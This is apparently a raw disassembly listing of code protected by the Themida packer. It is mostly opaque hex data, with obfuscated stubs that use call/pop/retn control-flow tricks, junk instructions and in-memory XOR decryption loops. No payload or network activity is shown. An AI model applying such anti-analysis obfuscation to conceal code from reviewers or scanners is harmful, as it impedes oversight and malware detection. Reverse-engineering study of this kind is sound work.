0E18D893Fh, 66061418h, 8B34CF81h, 0E35858Bh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 5E306AC3h, 1934D9CEh, 60233FDFh, 1C6D8D8Bh dd 89610614h, 8D890446h, 6141371h, 28BF6696h, 60565056h dd 8BF18B66h, 965B61C7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 20C35545h, 6468C4BFh, 0E2B5FF1Ch, 890617A7h dd 142B4D8Dh, 0F98B6606h, 4E8h, 1F03FF00h, 16880F00h, 0F000000h dd 108Ch, 0BE900h, 126D0000h, 5ADC73E6h, 1A0C7A3h, 0BB66505Ah dd 448B1688h, 8B660424h, 89008BD8h, 66042444h, 58953FBBh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DAC35545h dd 0B3CDFA8Dh, 0B03B65CAh, 9D8BF54Bh, 6142C49h, 0A7EA858Dh dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 97BAF7C3h, 0BF83C8E2h, 4E7B6A1Ch, 2DBF6690h dd 5EB750FBh, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 9F4766FCh, 9D8BE164h, 6140891h, 0A6F78166h dd 9D95FFAEh, 6A061408h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 7415C350h, 61A3D8ACh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0D9C35545h dd 8E095B10h, 26399D89h, 85C70614h, 614013Dh, 3, 3248DB81h dd 0BD834736h, 617A7EAh, 66840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 9762C352h, 0ADA249Ah, 85AA7CD0h, 0CE9h, 9447E500h, 9685039Ah dd 200EED23h, 45E9F93Ch, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 359C353h dd 0D3816660h, 8D8911B2h, 6141BE5h, 0C305061h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 10E9h, 20038700h dd 7C6D101Bh, 0A828AFD1h, 0C1F14A7Dh, 8D8960F3h, 6141021h dd 8BE98166h, 8D89614Eh, 6142A15h, 13DBD83h, 0F030614h dd 42685h, 91BD2300h, 83061410h, 17A7EABDh, 840F0006h dd 413h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 18C35343h, 7B1D3F6h, 7367CF9Bh, 0F99D330Fh, 0FF06142Bh dd 17A7EAB5h, 897BB706h, 1400059Dh, 3995FF06h, 6A061403h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 6F34C356h, 0EE8650BDh, 0D66547DCh, 8BFEBF0Fh dd 17A7DEB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 5BB36C0Eh, 0EBE9C982h, 8B66CE18h dd 21BD31D9h, 0C706140Eh, 1000106h, 96FA8B00h, 0CB8B6660h dd 91F5BA66h, 6A965061h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E89BC352h, 8, 77ABCD62h dd 0D0C1D39h, 9C59D8Bh, 0FF5B0614h, 17A7EAB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0B9618Ah, 26E09EC5h, 85316084h, 61434C1h, 0FF61C5B5h dd 14108195h, 0FDBD8B06h, 8B06140Fh, 17A7DEB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 41A50910h, 97668C0Eh, 0EE92DF81h, 858B47B3h, 6140FF9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 30C35646h dd 6735B366h, 0C48689h, 958B0000h, 6142B69h, 2BA19D8Bh dd 0C2830614h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 864DB613h, 0D8DBD8Bh dd 50890614h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0D8CC0F20h, 24C0D843h, 2B39BD8Bh dd 0BD310614h, 6140015h, 0BC23858Dh, 8D890617h, 61416CDh dd 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8B5BF9C3h, 141E6DBDh, 6A006A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 5A4EC356h, 0E69E93CDh, 11E9B7h, 78810000h dd 0B6E7C53Bh, 0B772D309h, 920399DEh, 0FF73BA1Bh, 17A7EAB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 3075A310h, 0D88AE673h, 33AD95FFh, 6A0614h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 9E14ADC3h, 505096A1h, 0FE8B6052h, 310F5250h, 0F61585Ah dd 0BF666031h, 5A614519h, 6A9658h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0F904B4C3h, 20899326h dd 0DE8F821h, 0CE000000h, 0FBB9BA3h, 45665A31h, 0E01170B2h dd 0F8D8D89h, 0FF5F0614h, 17A7EAB5h, 5BD0B06h, 0FF061400h dd 14230995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 8E2FBEC6h, 8F0F5640h, 6, 19D1B529h dd 835F0614h, 141189BDh, 840F0006h, 3Bh, 0EE9h, 0A5AC8F00h dd 0CD9FE6F6h, 28705306h, 96749303h, 4713BF66h, 77EDBF50h dd 6A967902h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0FFE5C355h, 17A7EAB5h, 0FFA8B06h dd 28Eh, 0FFD98B00h, 1402D595h, 0FF8FB306h, 17A7EAB5h dd 0FFF88B06h, 140B7595h, 0F8BF0F06h, 112DBD83h, 0F020614h dd 3E84h, 0E1858900h, 8B06141Ah, 14005585h, 1D9D0106h dd 0C6061403h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 984E1CC3h dd 0A3FF59CDh, 0AD3811Ah, 0C7275E29h, 141E4985h, 6, 0DE96000h dd 0 ; --------------------------------------------------------------------------- retf 0A454h ; --------------------------------------------------------------------------- db 5Fh dd 0FC23D702h, 0D3D87CFEh, 0C5BD89h, 0E9610614h, 0FFFFF2AEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 73C35040h dd 4843484Bh, 0E080602Bh, 71B58911h, 61061415h, 6AC18Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 81A186C3h, 31A566D7h, 0A1BB666Ah, 91858D25h, 6A061407h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0C6C2C351h, 2B52F8D0h, 0F62EA6FCh, 0A059501h dd 66500614h, 89ADB3BBh, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0FA6BF9C3h, 3D35F3Bh dd 14026D9Dh, 6AFE8B06h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 67785D0Ah, 0F7D77642h dd 60D8BF0Fh, 25DDBD89h, 6A610614h, 0AD858D00h, 8B061889h dd 1419F9BDh, 5C08306h, 1E599589h, 50900614h, 6A90D98Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0A50BC355h, 0D2FD4EFBh, 290B61ECh, 0E5BD8Bh dd 81660614h, 6ADDBCCBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 36FC1B7Ch, 0A5338CB1h dd 7E89953h, 1D000000h, 4B09DEE7h, 0D88BB1FEh, 0F98B665Fh dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 99FCB4C3h, 33C33A41h, 666C7C12h, 95FFD98Bh dd 6141B19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0CC35545h, 66832669h, 0A19D8BDCh, 0BB06142Ah, 26A02DE7h dd 0A7788D8Dh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0EA73F4C3h, 0FFF5E469h, 4973BBD1h dd 0BD8363B0h, 61401CDh, 86850F01h, 66000000h, 26ADA8Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 42C35343h dd 89FA8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 4218AFC3h, 5BEE9F71h, 60BBCF3Fh dd 162D9D8Bh, 8D090614h, 6140B49h, 0AD95FF61h, 6A061433h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0DEEEC357h, 815283F2h, 9D6279D3h, 0CAEE92Ch dd 0E80000h, 5D000000h, 89B7ED81h, 9D230618h, 6142F31h dd 68A0Fh, 9D8B0000h, 6142BADh, 8E49858Dh, 50FC0617h, 0D98B5250h dd 585A310Fh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 2CBAC352h, 7D34DDD7h dd 0FBB70F7Eh, 184D9D8Bh, 0FF640614h, 35h, 95958900h, 64061413h dd 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 48E5EEC3h, 0C30FFDADh, 53DF3DB6h dd 5FF88B66h, 0DFC38166h, 0ED85FFE1h, 8B06142Dh, 1420099Dh dd 60FF6A06h, 10DDBD8Bh, 0EE90614h, 0BE000000h, 0B0416FC8h dd 0A1EBA011h, 903B05B1h, 860F613Ch, 1, 55B5FFF5h, 0F06140Dh dd 380h, 0F98B6600h, 2A8995FFh, 0F3E90614h, 89000000h dd 140E5585h, 0BE906h, 47D70000h, 6FD9A36h, 0E364D103h dd 0E900B006h, 9, 5E22AB32h, 3E40FC8h, 8170E6EFh, 1D58E7F7h dd 0F71E46Ah, 68Bh, 798D8900h, 3C06142Eh, 0AF830F61h, 66000000h dd 0FAB7DBBh, 0BAF8C8B6h, 6, 0DC8AC18Bh, 6604E8C1h, 66EEFABFh dd 9D09E2F7h, 61417B5h, 0D18BC82Bh, 6E9F8h, 0BD8B0000h dd 61430BDh, 2F1858Bh, 9D0B0614h, 6142A09h, 8107C083h dd 5E928DC3h, 0C08355h, 830FD03Bh, 0Dh, 2349BD8Bh, 53E90614h dd 8B000000h, 0D98D8BFBh, 0E8061417h, 0Ah, 4B3F7781h, 573C24A4h dd 9D8BB49Fh, 6141B79h, 1E1835Fh, 2C840Fh, 9FBB0000h, 8A7DD90Bh dd 0D9A583FCh, 0FE061417h, 15BD0160h, 0F061419h, 388h dd 0F28B6600h, 0F1958961h, 8B061402h, 0E9FBh, 0B58D0000h dd 617F5EAh, 18E59D89h, 6A0614h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 58C35242h, 0E4E2DB14h, 880F6CF4h dd 5, 0F267EFBBh, 7195FF64h, 66061429h, 0A3B9F98Bh, 6A000007h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0B3D8C351h, 8BAED767h, 141171BDh, 0FCE18306h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0BEC35040h dd 0C65C1114h, 0A5D704DAh, 6AFCF9CFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 861FC353h dd 0FB18AE43h, 0B873h, 0BA0000h, 29000000h, 1407A19Dh dd 498D8906h, 0AD061423h, 0E8D1C233h, 0E983D003h, 66F47504h dd 5249D781h, 880DFA8Bh, 80000000h, 0B58917EFh, 6140255h dd 2B69958Bh, 57600614h, 8F0Fh, 615F0000h, 10558D8Bh, 29F50614h dd 1409598Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 3760C357h, 0EEE6D7EFh, 8B21A87Ch dd 143465BDh, 0AE806h, 0DE570000h, 0E001A639h, 8180EC63h dd 65A2C381h, 815B21F8h, 0F024DACBh, 4DBD8375h, 6140Fh dd 8E840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 4CB6E0C3h, 0F9DF8166h, 0B860h, 0BD8B0000h dd 6140E4Dh, 4DFF8D8Dh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FAD2EC3h, 0E1FFFABFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4EC35747h dd 12E803h, 4330000h, 82E4B04Eh, 1F9CFF2Ch, 0A7D8B012h dd 0F6B21B0Ah, 5BF88B66h, 13DBD83h, 0F000614h, 4EB84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0BE57558Ch, 55CF79CEh, 788EBB66h, 13DBD83h dd 0F010614h, 4D284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0C8B439ECh, 3636E35h dd 1415859Dh, 3DBD8306h, 3061401h, 467860Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 28520FC3h, 639B589h, 6A600614h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 39C7C357h dd 0A7C270CDh, 8BF91DD4h, 0DF8166D9h, 8C669DA1h, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 5427693Fh, 0B531F443h, 6141C6Dh, 0A04E180h, 1C840FC9h dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 38DC355h, 159D8B53h, 5F061418h dd 0E35858Bh, 81660614h, 33A2D3E3h, 1406A985h, 38F0F06h dd 66000000h, 5090F88Bh, 0BBB76052h, 0F61D48Ah, 5A62B331h dd 0F905058h, 6ADFB7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 18C35242h, 34567571h, 7B9719FCh, 1BADB531h dd 0F98B0614h, 4E8h dd 1F03FF00h, 14E900h, 0F7340000h, 310934C9h, 9E7BB38Ch dd 3236C5Eh, 415A4ADCh, 6050A675h, 0EE8h, 6117E00h, 0CC9857AFh dd 0D50490F3h, 66ECC100h, 0BA5FFA8Bh, 73FC398Bh, 24448B61h dd 66008B04h, 4489FE8Bh, 0D6BF0424h, 58782296h, 1BE59D8Bh dd 5B510614h, 89D95FFh, 8D0F0614h, 0Ah, 1616060h, 1419F59Dh dd 85896106h, 617A7EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 88C35646h, 25DE9h, 8BD88B00h, 17A7E285h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 1DAAC45Ch, 8DB58B60h, 0E8061425h, 12h, 0B854AEE7h dd 1EABEEEFh, 45C7AE78h, 6A184759h, 0DE998B1h, 0F9000000h dd 0F0E22F82h, 0A7BCD393h, 0E340CF3Eh, 0C7615Ah, 18h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7FC35141h, 0B9FF475h dd 348A31DFh, 17D5B589h, 0B58B0614h, 617A7E6h, 6830Fh dd 0BD030000h, 6140765h, 81858BFCh, 6A061402h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 9B65C356h, 6A068915h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 23E6C356h, 0F9CAA3Dh dd 9D8BDABFh, 6142DF1h, 0E35858Bh, 0B5890614h, 6140F01h dd 6A044689h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0BBFCC355h, 8BF9D37Eh, 8935AE76h dd 141B8D95h, 0BB665006h, 3489EDD3h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 55AC9FFFh dd 0B5FF80F7h, 617A7E2h, 0EE9h, 7024A800h, 0CF684BD3h dd 0F7DAAB4Ah, 0E800149Fh, 4, 1F03FFh, 16E624BFh, 0DE9503Eh dd 0FB000000h, 74AB0C93h, 3AC2F56Ah, 327AE946h, 424448Bh dd 12E8h, 0FE43D600h, 0AF291F79h, 191426F0h, 0D5FD63FFh dd 5F1B2B0Fh, 5250008Bh, 28BF66h, 12B7310Fh, 4489585Ah dd 0BF660424h, 8B5882E2h, 141C399Dh, 0EA858D06h, 6A0617A7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0D69C350h, 2DF07C56h, 0DE85F43h, 0B4000000h dd 6C2FAC39h, 52B2FFE2h, 0B7208FADh, 5BDFB70Fh, 38B86090h dd 0B81A804Fh, 6CB29D8Ah, 0F98B5061h, 53006A90h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 810F6716h, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+614089Dh] push 0 push eax call sub_5C6D85 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6D85 proc near ; CODE XREF: Themida_:005C6D7Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5C6D85 endp ; --------------------------------------------------------------------------- db 7Bh, 8Fh, 2Eh ; --------------------------------------------------------------------------- mov ebx, [ebp+6142329h] popa push 0 push ecx call sub_5C6DAA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6DAA proc near ; CODE XREF: Themida_:005C6DA2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5C6DAA endp ; --------------------------------------------------------------------------- dw 0E6D7h ; --------------------------------------------------------------------------- jmp loc_5C6DC9 ; --------------------------------------------------------------------------- db 44h, 21h, 4Ah dd 0CFF9CFEDh db 0D5h ; --------------------------------------------------------------------------- loc_5C6DC9: ; CODE XREF: Themida_:005C6DBCj mov dword ptr [ebp+614013Dh], 3 movsx edi, si mov [ebp+6140C65h], ebx cmp dword ptr [ebp+617A7EAh], 0 jz loc_5C6E09 mov [ebp+61415C5h], ebx movzx ebx, ax jmp loc_5C6E24 ; --------------------------------------------------------------------------- mov [ebp+6142561h], ecx jnp loc_5C6E09 mov ebx, [ebp+6143051h] loc_5C6E09: ; CODE XREF: Themida_:005C6DE3j ; Themida_:005C6DFDj ... push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5C6E09 jmp short loc_5C6E5A ; --------------------------------------------------------------------------- loc_5C6E24: ; CODE XREF: Themida_:005C6DF2j ; Themida_:005C6E3Bj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5C6E24 jmp short loc_5C6E5A ; --------------------------------------------------------------------------- loc_5C6E3F: ; CODE XREF: Themida_:005C6E56j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5C6E3F jmp short $+2 loc_5C6E5A: ; CODE XREF: Themida_:005C6E22j ; Themida_:005C6E3Dj mov eax, eax push 0 push ebx call sub_5C6E67 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6E67 proc near ; CODE XREF: Themida_:005C6E5Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5C6E67 endp ; --------------------------------------------------------------------------- mov ds:3862A4F9h, al mov ecx, [ecx+1424B595h] push es mov edi, 56546478h mov bh, 24h cmp dword ptr [ebp+614013Dh], 3 jnz loc_5C71CE push edi mov bl, 0CFh pop edi cmp dword ptr [ebp+617A7EAh], 0 jz loc_5C71CE mov [ebp+6140D59h], esi push dword ptr [ebp+617A7EAh] push 0 push esi call sub_5C6EBF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6EBF proc near ; CODE XREF: Themida_:005C6EB7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5C6EBF endp ; --------------------------------------------------------------------------- db 0EAh db 90h ; --------------------------------------------------------------------------- mov ch, 0FFh xchg eax, ebp cmp [ebx], eax adc al, 6 mov esi, [ebp+617A7DEh] push 0 push edx call sub_5C6EE9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6EE9 proc near ; CODE XREF: Themida_:005C6EE1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5C6EE9 endp ; --------------------------------------------------------------------------- cmp al, 0ECh sub eax, [esi+0Fh] mov bh, 0FBh mov dword ptr [esi], 10001h push 0 push ebp call sub_5C6F11 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6F11 proc near ; CODE XREF: Themida_:005C6F09p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C6F11 endp ; --------------------------------------------------------------------------- db 40h, 0CEh, 6Bh ; --------------------------------------------------------------------------- adc ecx, ebp adc dword ptr [ebx+2398529h], 14h push es xchg eax, esi push eax xchg eax, esi push 0 push eax call sub_5C6F3C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6F3C proc near ; CODE XREF: Themida_:005C6F34p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C6F3C endp ; --------------------------------------------------------------------------- dd 47170C9Fh, 0B708D0F6h, 0B5FF6DD4h, 617A7EAh, 1361BD33h dd 95FF0614h, 6141081h, 0A7DEB58Bh, 0BB660617h, 858BBD85h dd 6140FF9h, 8E9h, 0E8942D00h, 93C8D201h, 0C48689EBh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0DE84C356h, 91E3BF66h, 2B69958Bh, 0DF810614h dd 6466BE02h, 83D98B66h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 9860F9C3h, 0BD1E565Fh dd 508912C9h, 6DBD8920h, 89061426h, 1426699Dh, 23858D06h dd 890617BCh, 1420D185h, 0B8868906h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 7597C357h, 1C5D9589h, 6A0614h, 3860Fh, 8B660000h, 0EAB5FFDFh dd 6A0617A7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0CF78C356h, 33AD95FFh, 6A0614h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 9D9E58C3h, 95890A1Ch, 6141AF5h, 0F355BF96h, 8B502987h dd 6A96DAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 44AB3CC3h, 0C475CF19h, 0DB1B529h, 0B5FF0614h dd 617A7EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 8BC35545h, 582FF72h, 605350CEh, 0FF5B5F61h, 14230995h dd 89BD8306h, 61411h, 12840Fh, 0BF0F0000h, 0D88B96FBh dd 96DA8B50h, 0BD895B51h, 61420C5h, 0A7EAB5FFh, 0BB660617h dd 95FFFB2Fh, 61402D5h, 8459D8Bh, 0B5FF0614h, 617A7EAh dd 39AAD781h, 95FF3B84h, 6140B75h, 0DE9h, 4B368600h, 54117C2Dh dd 97C7E005h, 0BD830F69h, 614112Dh, 6D840F02h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 4466C352h, 6E9F9h, 7FB50000h, 6739D1DEh dd 55858Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 2C6585C3h, 8B669668h, 0C6F8h, 0CE8h dd 0CADF3E00h, 2A3056E9h, 3A05F6A2h, 0C595894Fh, 5B061415h dd 1E4985C7h, 614h, 9D8B0000h, 6141EB9h, 19A99589h ; --------------------------------------------------------------------------- adc al, 6 loc_5C71CE: ; CODE XREF: Themida_:005C6E91j ; Themida_:005C6EA2j jmp near ptr dword_5C62AC+34Dh ; --------------------------------------------------------------------------- mov ebx, [ebp+6140505h] mov eax, ecx push 0 push edi call sub_5C71E6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C71E6 proc near ; CODE XREF: Themida_:005C71DEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5C71E6 endp ; --------------------------------------------------------------------------- dw 80Eh ; --------------------------------------------------------------------------- xchg eax, ebp inc ebx xchg edi, [ebx] jmp loc_5C7223 ; --------------------------------------------------------------------------- db 29h, 57h, 0B0h dd 10h, 6 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5C7223: ; CODE XREF: Themida_:005C71FCj jmp loc_5C77B3 ; --------------------------------------------------------------------------- dd 5CA0DBEBh, 47CBC2C3h, 2CF0ADD8h, 1A1E95B3h, 0FF037E8Dh dd 0DBEA587Ch, 0C8C562A6h, 0B2DE49CDh, 92B433F7h, 77A171Bh dd 0E804ABA6h, 21EB2855h, 0DAD3F48Bh, 3FEC26A2h, 1E6D9E0Dh dd 407CB6F3h, 999D103Fh, 316C9BE2h, 99D74F19h, 67A3A67Ch dd 0EDA8A443h, 27566827h, 73ACA417h, 7ED4C694h, 0B6C8878Dh dd 3E457D0h, 1B7F53F0h, 1554C7F7h, 0A279BBF6h, 0F6E91EA1h dd 0F89F2FDCh, 5F6F1E2Fh, 0E3A7D7FBh, 9CAEDD34h, 86821DE1h dd 0B760F00Bh, 65FE928Bh, 0A23DF53Fh, 8CD3EBA6h, 91F6067Fh dd 97A2037Eh, 2C53F0CEh, 0EE05EA28h, 671E2C33h, 0D7D2FEADh dd 0FBB2D453h, 0CED862C3h, 0C8FA53F0h, 0ACDAA5D5h, 0D2BDD9F1h dd 37A8CBBh, 19701F1Fh, 94E913D9h, 0EF1C6385h, 56837CB6h dd 29000000h, 6C7AFD8Bh, 0FF8E58DFh, 536B2220h, 5C6E3DF7h dd 0E75A2A21h, 673C56B3h, 1E9F2FE5h, 53F0DE2Dh, 0C4167D12h dd 8594D916h, 1A0h, 66670C00h, 47780737h, 9255E441h, 6AEE53F0h dd 1B293646h, 432C6860h, 0B1EC1D2Ch, 0DDD0F26Dh, 0FFAEDFAEh dd 9C94BCFh, 356867CBh, 54497A05h, 0CB99F224h, 350A6221h dd 0DBA07223h, 3B7695B4h, 39089500h, 0BA53F05Bh, 0B945CD6h dd 524D79F9h, 46411E2Eh, 0F71B92B0h, 138AB8C7h, 2F6664FBh dd 0C52C6B1Fh, 0EAFBD98Fh, 0BDA10978h, 0C4EA5A0h, 8594EAEEh dd 89E8h, 6867C400h, 4F7A0535h, 61CE3952h, 53F092D2h, 8727ED51h dd 0CEFD14C3h, 5EC9C2BFh, 0F09262D1h, 979DE153h, 5F4544E3h dd 0F09263DEh, 789CE053h, 0B685D340h, 0B39C1368h, 848259DBh dd 0A1ACF109h, 0E4F2084Ah, 60EC8594h, 0C8000000h, 0C1CE6867h dd 0D7A8A0C4h, 0B7C8C0BBh, 65D6E695h, 0F0920938h, 99868A53h dd 51053568h, 0F74BCF26h, 0BD8C2984h, 3653F092h, 0D43BC052h dd 0E01B96B5h, 92192875h, 4D9A53F0h, 0D75D413Ch, 6667D123h dd 0A4A60737h, 9953F092h, 8D539FF6h, 2985948Ch, 0Bh, 0D762C33Eh dd 6CAC0F66h, 67202AE8h, 4619316Ch, 0D6314944h, 0D6F11067h dd 0DE2F57DBh, 0D61491AAh, 2F49DC62h, 3A4C132Bh, 48384843h dd 0B15F6B33h, 0A2D1C99h, 0A2A655E4h, 23BC74BEh, 0E6516A21h dd 0E40A8AB9h, 0F050955h, 54D14CBFh, 55E40AE5h, 9D181A7Eh dd 55E40AA0h, 0C6056CABh, 0ABB2C9C4h, 652DE79Eh, 0C927C8FAh dd 60966A07h, 289BB3D7h, 0B28E2F51h, 871B11F3h, 9805365Ah dd 55E47FA9h, 3FEC262Ah, 0B86E9E0Dh, 0B3D5F41Bh, 7FF34EEFh dd 0C7055E4h, 7F83BEFFh, 3C0055E4h, 6E9CE318h, 0DFC3BACCh dd 0EB319D55h, 8B8BA979h, 18Eh, 0C618021h, 0F09290A3h dd 88DD1353h, 77E6A171h, 0D2E90D31h, 92137F8Bh, 53F0CCA7h dd 0FE34583Ch, 0BA0252CDh, 1C9F11F6h, 0C1414CC6h, 2249DCA5h dd 70334ACh, 62ACBFBh, 245769F6h, 564547E0h, 74275926h dd 